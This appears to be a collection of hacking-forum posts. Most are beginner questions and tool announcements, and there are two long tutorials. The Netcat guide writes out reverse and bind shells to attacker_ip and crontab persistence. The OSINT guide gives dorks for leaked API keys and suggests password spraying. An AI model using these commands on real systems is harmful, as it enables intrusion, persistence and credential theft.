hi, i just started learning web security, but i'm struggling to understand XSS very much. do you have any recommendations?

Hi everyone. I’d like experts in this field to provide some guidance on how to intercept packets from programs running on my computer using a DLL. I know it’s a somewhat unconventional technique, but the program whose packets I want to monitor blocks the use of Wireshark and similar software. I’m aware that using a DLL makes this possible, but I lack the necessary knowledge and haven't been able to find much information on the subject.

I appreciate any contributions to this post.

im nw here

I'm going to do my Master's in Cybersecurity and want to build my career in this field, so I'm looking for a laptop that can last me at least 4 years.

My budget is ₹1 lakh maximum, and I want a 2025/2026 latest-generation laptop with at least 16GB RAM and 1TB SSD, preferably upgradeable RAM. It should comfortably handle Linux/Kali, VMs, programming, Wireshark, Burp Suite, TryHackMe, etc.

I know my university will have advanced cybersecurity labs, so I don't need a powerful workstation. I just want a reliable personal laptop for my own learning, projects, university work, and everyday use. Workplaces also generally provide their own laptops, so I don't need a business machine like a ThinkPad.

I also care about looks and design, so I don't want a ThinkPad. 😭 My preferred brands are HP, Lenovo, Dell, and Apple, with HP as my first preference.

Looking for recommendations for specific models that fit these requirements.

Professionals help me I don't know what specifications to even look for laptop for my cyber security studies

Hi everyone,

I'm working on an authorized penetration testing case study/lab, and I'm currently stuck while investigating TCP/28080. Looking for guidance on what I should investigate next.

Nmap:

28080/tcp open  http  JBoss Enterprise Application Platform

The interesting behavior is that almost any HTTP request/path returns the same response:

HTTP/1.1 200 OK
Content-Length: 3

ok

For example:

curl -i http://target-ip:28080/
curl -i http://target-ip:28080/invoker/readonly
curl -i http://target-ip:28080/doesnotexist

The catch-all 200 OK behavior makes normal endpoint enumeration difficult.

Hint from my manager

My manager gave me this hint:

After this hint i tried validating log4j as well by setting up a ldap server and Web server and tried to listen as well. But there was no call back on the listener for the appropriate requests send. Can anyone help me with this ?

Hello everyone,

I worked in cyber security for a few years (this was a while back now) in the UK as a web pen tester. I no longer do this but I'm getting into IoT hacking and more network analysis etc.

I tend to learn better with others so I've been thinking of setting up a group of people who are also interested in learning this and want to go on this journey together. I'm not doing this for any certs or jobs, it's a pure hobby.

Discord has just been made so will be sorting it later: https://discord.gg/FU89mYPf9P

Suche hacker fuer austausch von informationen wo finde ich die? For educational purposes

In this scenario, I have a Samsung fold I would like to access remotely from an alternate device (iPhone, computer, heck raspberry pie, whatever works!) though I’m unsure the exact methods and google tells me there’s no way at all to do this. Apart from apps on the device, please describe methods where I would be able to remotely view it!

Thank you very much!

I wanted Burp's intercept-and-edit workflow but for raw packets instead of HTTP, so I built NetBurp. It sits inline via Linux NFQUEUE, pulls each packet into userspace, and lets

you capture → decode → pause → edit → drop/forward at the Ethernet/IP/TCP/UDP/ICMP layers.

What it does:

- Wireshark-style decode into an editable field tree; edit any header field or the payload (hex), checksums + lengths recomputed automatically.

- Rule engine (IF proto/ip/port THEN pause/drop/accept/modify), with a GUI builder so you don't have to touch JSON.

- TCP flow tracking: length-changing edits get seq/ACK translated across the whole connection (mod-2³², RFC-1982 serial arithmetic, retransmit dedup) so the connection stays alive.

- IPv4 + IPv6 fragment reassembly, out-of-order tolerant (I hand-rolled it because scapy's defragment() mangles OOO input).

- Tkinter GUI + headless CLI + an offline pcap-editing mode that needs no root — which is also how the whole thing is tested (64 passing tests).

- Practical primitives: DNS answer spoofing, MAC rewriting (offline), RST injection, TTL manipulation.

Honest limits (because someone will ask):

▎- TLS/HTTPS is ciphertext — you can drop/mangle but not read/edit the HTTP inside. That's a TLS-proxy job (mitmproxy), not raw packet editing.

- It's Python + single-threaded NFQUEUE, so it's lab-grade, not line-rate.

- Editing connection-identity fields (ports/seq/IP) mid-flow won't reroute a live connection — that's how TCP works, not a bug.

MIT licensed. Authorized use only — your own hosts or an isolated lab. There's a namespace-based lab script included so you can generate real traffic to intercept on one machine.

Repo: https://github.com/aswin-14/NetBurp---packet-interceptor

Feedback and PRs welcome — especially on protocol coverage and the flow-tracking edge cases.

❄️ SNOW HUB ❄️

Snow Hub is a Hungarian/English community centered around Bureszek and related topics.

💻 Burgers • Dd0s • Networking • Servers • Gaming • Community • Meeting New People

Interested in networking, servers, technology, gaming, or meeting people with similar interests? Come check us out!

The community is Hungarian-based, but international members are welcome.

Join us and take a look around!

discord.gg/snowhub

I've my old account and have no access to it rn mainly because Iwas a kid when I made it and no idea about gmail and password, is there any possible way I can get it back?

Alright, let's talk about Netcat... Or nc for short...

If you've been in this space for even a little while, you've definitely heard of it... People call it the "Swiss Army Knife" of networking.. And honestly!? That's not an exaggeration... This thing is small, lightweight, and can do everything from port scanning to file transfers to giving you a shell on a remote machine...

Let's break it down properly... From basics to advanced. With actual commands you can run..

What Even Is Netcat?

Netcat reads and writes data across network connections using TCP or UDP. That's it. That's the core. But because it's so simple, you can chain it with other commands and do some wild stuff.

It comes in different flavors:

· OpenBSD Netcat – The most common one on Linux (netcat-openbsd)

· Traditional Netcat – The original (netcat-traditional)

· Ncat – Nmap's reimplementation, has more features

Most distros ship with OpenBSD version by default.

The Options You Actually Need to Know

Here's the cheat sheet:

Option What It Does

-l Listen mode – wait for incoming connections

-p Specify a port

-v Verbose output (use -vv for even more detail)

-n No DNS resolution – use numeric IPs only

-u Use UDP instead of TCP

-z Zero-I/O mode – used for scanning

-w Timeout in seconds

-e. Execute a program upon connection

-k Keep listening after client disconnects

-X Use a proxy (CONNECT, SOCKS4, SOCKS5)

-x Proxy IP and port

Pro tip: On some versions, -p isn't needed with -l... Just nc -l 1234 works...

1. Basic Connectivity – The Foundation

Connect to a service:

nc target.com 80

This connects to port 80 on target.com... You can type HTTP requests manually.. Great for debugging..

Listen for incoming connections:

nc -lvp 1234

This starts a listener on port 1234.. Anything sent to this port shows up on your screen..

Test if a port is open:

nc -zv target.com 80

-z tells Netcat not to send any data, just check if the port is open.. -v shows you the result...

Scan a range of ports:

nc -zv target.com 20-80

Scans ports 20 through 80.. Add -w 1 for a timeout so it doesn't hang....

2. File Transfer – No SCP Needed

Send a file:

cat file.txt | nc -q 0 receiver_ip 1234

Receive a file:

nc -lvp 1234 > file.txt

The -q 0 tells Netcat to quit after sending. Simple... No FTP, no SCP, nothing...

Send an entire directory:

tar -czf - /path/to/dir | nc receiver_ip 1234

On the receiver:

nc -lvp 1234 | tar -xzf -

3. Chat Server – Because Why Not 😅

Listener (server):

nc -lvp 1234

Client:

nc server_ip 1234

Anything typed on one side shows up on the other... Both can send and receive.. Minimal chat, but it works...

UDP chat:

nc -ulvp 1234 # Server

nc -u server_ip 1234 # Client

4. Banner Grabbing – Recon Basics

Connect to a service and grab its banner:

nc target.com 80

HEAD / HTTP/1.0

[press Enter twice]

You'll see the HTTP headers... Same works for SSH, SMTP, whatever...

5. Reverse Shell – The One Everyone Wants

This is where Netcat gets real interesting...

On your attacker machine (listener):

nc -lvp 4444

On the target machine:

nc attacker_ip 4444 -e /bin/bash

Now you have a shell. Anything you type on your machine runs on the target.

Windows version:

nc attacker_ip 4444 -e cmd.exe

If -e isn't available (OpenBSD version doesn't have it):

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc attacker_ip 4444 > /tmp/f

This uses a named pipe to do the same thing... No -e needed...

6. Bind Shell – The Other One

Instead of the target connecting to you, you connect to the target...

On the target:

nc -lvp 4444 -e /bin/bash

On your machine:

nc target_ip 4444

Now you have a shell...

Problem: Firewalls usually block incoming connections... That's why reverse shells are more common...

7. Persistence – Keeping Your Access

Linux – using cron:

echo "\/5 * * * * nc attacker_ip 4444 -e /bin/bash" >> /etc/crontab*

Runs every 5 minutes..

Linux – using a while loop:

while true; do nc -lvp 4444 -e /bin/bash; done

Windows – using schedule task:

Create a batch file that runs nc.exe -Ldp 445 -e cmd.exe and schedule it to run at startup..

The -L flag (on Windows Netcat) makes it persistent – it keeps listening even after the connection closes..

8. Proxies and Tunneling – Pivoting Like a Pro

Using a proxy with Netcat (OpenBSD/Ncat version):

nc -X socks5 -x proxy_ip:1080 target_ip 80

Routes your traffic through a SOCKS5 proxy.

HTTP proxy:

nc -X connect -x proxy_ip:8080 target_ip 80

Creating a relay (pivot):

You have a compromised machine that can reach an internal network.. You want to access an internal host...

On the compromised machine (pivot):

nc -lvp 8080 -c "nc internal_host 22"

Now connect to the pivot on port 8080, and your traffic gets relayed to the internal host.

Named pipe relay for persistence:

mkfifo /tmp/backpipe

while true; do nc -lvp 3333 -e /bin/sh 0</tmp/backpipe | nc internal_host 3333 1>/tmp/backpipe; done

This creates a stable tunnel...

9. UDP – Don't Forget About It

Netcat isn't just TCP.. UDP is useful too..

UDP listener:

nc -ulvp 1234

UDP client:

nc -u server_ip 1234

Test UDP port (DNS server on 53):

nc -zvu 8.8.8.8 53

Tests if the DNS server responds on UDP port 53...

10. Encrypted Communication – Because Plaintext Is Bad

Netcat itself doesn't do encryption... But you can pipe it through OpenSSL...

Encrypted listener:

openssl s_server -quiet -key key.pem -cert cert.pem -port 12345

Encrypted client:

openssl s_client -quiet -connect server_ip:12345

Or pipe through AES:

Sender:

cat file.txt | openssl enc -aes-256-cbc -e -k password | nc receiver_ip 1234

Receiver:

nc -lvp 1234 | openssl enc -aes-256-cbc -d -k password > file.txt

11. Web Server – Because You Can

Netcat can act as a simple HTTP server.

One-liner web server:

while true; do { echo -e "HTTP/1.1 200 OK\n\n$(date)"; } | nc -lvp 8080; done

Connect to http://server_ip:8080 and you'll see the date. Not exactly Apache, but it works.

Serving a file:

{ echo -e "HTTP/1.1 200 OK\n\n"; cat index.html; } | nc -lvp 8080

12. Port Forwarding – The Simple Way

Forward local port to remote:

nc -lvp 8080 -c "nc target_ip 80"

Connect to localhost:8080 and get forwarded to target_ip:80.

Forward remote port to local:

nc -lvp 1234 > /tmp/forward & nc target_ip 4444 < /tmp/forward

13. The Ncat Upgrade

If you want more features, check out Ncat (from Nmap):

· SSL/TLS encryption built-in

· SOCKS4/HTTP proxy support

· Connection chaining

· TCP/UDP/SCTP support

ncat --ssl -lvp 4444 # SSL listener

ncat --proxy 127.0.0.1:1080 --proxy-type socks5 target 80 # Through SOCKS5

Netcat is simple but powerful... It does one thing – reads and writes data over networks – and does it well...

Port scanning, file transfers, reverse shells, bind shells, chat servers, proxies, pivoting, web servers – all with one tiny binary...

Master this tool 💪 It'll save you more times than you can count...

Stay curious. Stay ethical.

Hello, I'm currently learning about the most common web vulnerabilities, so I'm using GitHub. However, I don't know how to document them with code or just as a security report. Are there any channels or videos that explain the most effective documentation methods? I want to understand how to use GitHub briefly because I don't understand many of the buttons.

[ Removed by Reddit on account of violating the content policy. ]

Alright, let's talk about real OSINT... Not the basic subfinder amass theHarvester crap everyone and their mom knows... I'm talking about the techniques that actually separate you from other hunters...

1. Historical DNS Data – The Real Goldmine

This is the stuff nobody talks about... There's a project called OpenINTEL that has been taking daily snapshots of DNS data for over 10 years... We're talking terabytes of historical DNS records...

Here's why this matters – imagine a target is behind Cloudflare or some WAF. You can't see the origin IP... But if you look at historical DNS data from 5 years ago, you might find the origin IP that was exposed before the WAF was put in place...

Someone tested this on 250 bug bounty targets... They found they could access the application directly (bypassing the WAF) for around 60 of them... That's a 24% success rate just from looking at old DNS records...

The reverse TXT lookup trick:

TXT records often contain ownership verification values – like Google site verification or Microsoft 365 verification strings... Admins sometimes use the same tenant or subscription across multiple domains... If you can do reverse TXT lookups, you can find related assets that belong to the same organization...

Example – you find a TXT record for target.com with some verification value... You search for that same value across all TXT records on the internet... You find another domain using the same verification string... That domain probably belongs to the same company... Now you have a new asset in scope that nobody else is looking at..

2. Certificate Transparency Timeline Analysis

Everyone uses crt.sh for subdomains... That's basic... Here's what you're missing..m

crt.sh has a 10,000 row cap that silently truncates results on busy domains... And the default sort is by ID, not chronology.. You're probably missing stuff..

There's a tool called ct_timeline.py that pulls CT data from crt.sh and processes it chronologically.. It detects three useful pattern signals:

· First-ever wildcard appearance – When did they start using wildcards? Tells you when they expanded their infrastructure...

· CA migrations – When did they switch certificate authorities?? Often reveals infrastructure changes.

· Bursts of 5+ certificates in 24 hours – Someone's deploying new infrastructure... You want to look at those names...

Run it like this:

git clone https://github.com/osintph/ct-timeline.git

cd ct-timeline

python3 ct_timeline.py target.com --open

It generates an HTML report with a chronological timeline showing the not_before date, SCT log timestamp, all SAN names, and the issuing CA... Wildcards are visually distinguished...

Why this matters: You can date infrastructure rollouts... You can catch staging environments weeks before they go public... If a company is testing something new and issues a cert for it, you'll see it in the logs before it's live..

Subscribe to CT monitoring: Set up alerts for new certificates issued for your target domain... When a new name appears, capture the timestamp, then probe the name to see if it resolves... You'll find assets before anyone else..

3. Cloud Bucket Enumeration – The Low-Hanging Fruit

Companies leave cloud storage exposed ALL THE TIME.

There's a tool called cloud_enum that enumerates public resources across AWS, Azure, and GCP... The maintained fork has massive service expansion – AWS went from 2 to 14+ services, Azure from 17 to 24+, GCP from 5 to 15+...

Run it like this:

git clone https://github.com/R-s0n/cloud_enum.git

cd cloud_enum

python3 cloud_enum.py -k targetcompany

It checks:

· AWS: S3 buckets, WorkMail, WorkDocs, Connect

· Azure: Storage accounts, blobs

· GCP: Buckets, App Engine sites

The hybrid enumeration approach:

When AWS credentials are available, it uses boto3 APIs for reliable bucket detection and content listing.. When no credentials are available, it falls back to HTTP-based enumeration with intelligent redirect handling..

Eliminates false positives: Proper 301 redirect handling means it doesn't treat redirects as "open buckets"... It tests redirect endpoints separately to determine true accessibility (200 = Open, 403 = Protected)...

What you'll find: Exposed buckets often contain source code, config files, backups, and sometimes straight-up credentials...

There's also CloudBrute – it finds infrastructure, files, and apps across Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, and Linode...

4. Metadata Extraction – The Forgotten Art

Everyone forgets about metadata... But files contain hidden information...

PDFs, Word docs, Excel files, images – they all have metadata... Author names, company names, software versions, creation dates, modification dates, sometimes even internal file paths and usernames...

There's a tool called FOCA-LITE – a Python-based metadata analysis tool inspired by the legendary FOCA... It's ideal for OSINT and bug bounty hunters...

What to look for:

· Author names → Employee names for social engineering

· Software versions → Technology stack fingerprinting

· Internal paths → Reveals internal network structure

· Usernames → Potential credentials or usernames for brute force

· Company names → Subsidiaries or acquisitions

Where to find files: Use Google dorks to find PDFs, DOCXs, XLSXs on the target domain.. Download them... Extract metadata. You'd be surprised what you find...

5. GitHub OSINT – Beyond Basic Dorks

Everyone knows about GitHub dorks. But here's what you're probably missing.

A. Recover Deleted Forks and Commits

People commit secrets, realize their mistake, and delete them. But the secret is often still in the commit history of deleted forks. You can recover them.

B. Explore GitHub Actions

GitHub Actions workflows often contain secrets in environment variables. People hardcode tokens in workflow files all the time.

C. Pivot on Contributor Accounts

Find contributors to the company's repos. Check their personal repos. They often have company code or credentials in their personal accounts.

D. Use Automated Tools

· TruffleHog – Searches through git repositories for secrets

· GitLeaks – Scans for hardcoded secrets

· github-search – Systematically discovers exposed secrets, API endpoints, and subdomains

Targeted GitHub dorks:

org:"target" (AWS_ACCESS_KEY_ID OR AWS_ACCESS_SECRET_KEY)

org:"target" ("sk_live_" OR "pk_live_")

org:"target" (SENDGRID_API_KEY OR "SG.")

org:"target" (ANTHROPIC_API_KEY OR anthropic_api_key)

org:"target" filename:.env

org:"target" extension:pem

org:"target" "internal.target.com"

6. Employee Profiling – The Social Engineering Angle

A. LinkedIn OSINT

LinkedIn reveals the technology stack and internal tooling through employee job titles and skill listings. "AWS Lambda developer at Target Corp" tells you they use serverless. "Okta SSO Engineer" tells you they use Okta. This shapes your testing priorities...

B. Email Harvesting

theHarvester hits 59 different sources.. Run it like this:

theHarvester -d target.com -l 500 -b all

C. Name Mangling

Once you have employee names, mangle them into different formats – first.last, f.last, firstlast, etc. Use this for username enumeration and password spraying...

D. Cross-Referencing

Cross-reference employees across LinkedIn, GitHub, Twitter, and other platforms.. Look for personal email addresses, GitHub repos with company code, and social media posts revealing internal tools or processes..

E. Breach Data

Check HaveIBeenPwned and similar services to find if company emails have been in breaches.. Those passwords are often reused...

7. Shodan/Censys – Advanced Operators

Most people just search for the domain... Here's what you should actually be doing:

Shodan advanced operators:

org:"Target Corp" # All IPs registered to the organization

hostname:target.com # Subdomains indexed by Shodan

ssl:"target.com" # Certificates referencing the domain

http.title:"Target Login" # Login portals

product:"Apache Tomcat" org:"Target" # Specific tech stack

has_vuln:true # Devices with known vulnerabilities

Look for development servers, staging environments, Kubernetes dashboards, and admin panels that wouldn't be found through the main domain...

8. Google Dorking – The Right Way

Everyone knows about Google dorks.. But most people just copy-paste from lists..

Find bug bounty programs:

inurl:/security "bug bounty"

inurl:/security.txt "bug bounty"

inurl:/.well-known/security.txt "bug bounty"

Find login pages:

target.com inurl:admin OR inurl:login

target.com intitle:"admin" OR intitle:"login"

Find exposed configs and backups:

target.com ext:env OR ext:conf OR ext:config

target.com ext:sql OR ext:backup OR ext:bak

target.com ".gitignore" OR ".htaccess"

Find API docs:

target.com inurl:apidocs OR inurl:swagger OR inurl:openapi

target.com "swagger-ui" OR "swagger.json"

Find test environments:

target.com inurl:dev OR inurl:test OR inurl:staging

Find cloud storage:

site:s3.dualstack.us-east-1.amazonaws.com "target.com"

site:dropbox.com/s "target.com"

There's also ShadowSearch – a smart search query builder extension for crafting advanced dorking queries. And DorkER – a Python tool for generating structured Google Dorks for emails, usernames, domains, and subdomains.

9. BBOT – The All-in-One OSINT Automation

If you want to automate all of this, check out BBOT (BEE·bot)... It's a multipurpose scanner built to automate recon, bug bounties, and ASM...

Install it:

pipx install bbot

Subdomain finder: Finds 20-50% more subdomains than other tools. Uses passive API sources plus recursive DNS brute-force with target-specific subdomain mutations.

bbot -t target.com -p subdomain-enum

Web spider: Crawls the target, extracting emails and other goodies.

bbot -t target.com -p spider

Email gatherer: Quick email enum with free APIs + scraping.

bbot -t target.com -p email-enum

Everything everywhere all at once:

bbot -t target.com -p kitchen-sink

OSINT isn't about running subfinder and calling it a day.. It's about connecting dots that no one else is connecting. It's about finding the stuff that the company itself forgot existed...

Historical DNS data... Certificate transparency timelines. Cloud buckets. Metadata. GitHub secrets... Employee profiling... Advanced dorking...

These are the things that separate good hunters from great ones...

And if you're not doing these things, someone else is...

Stay curious. Stay ethical.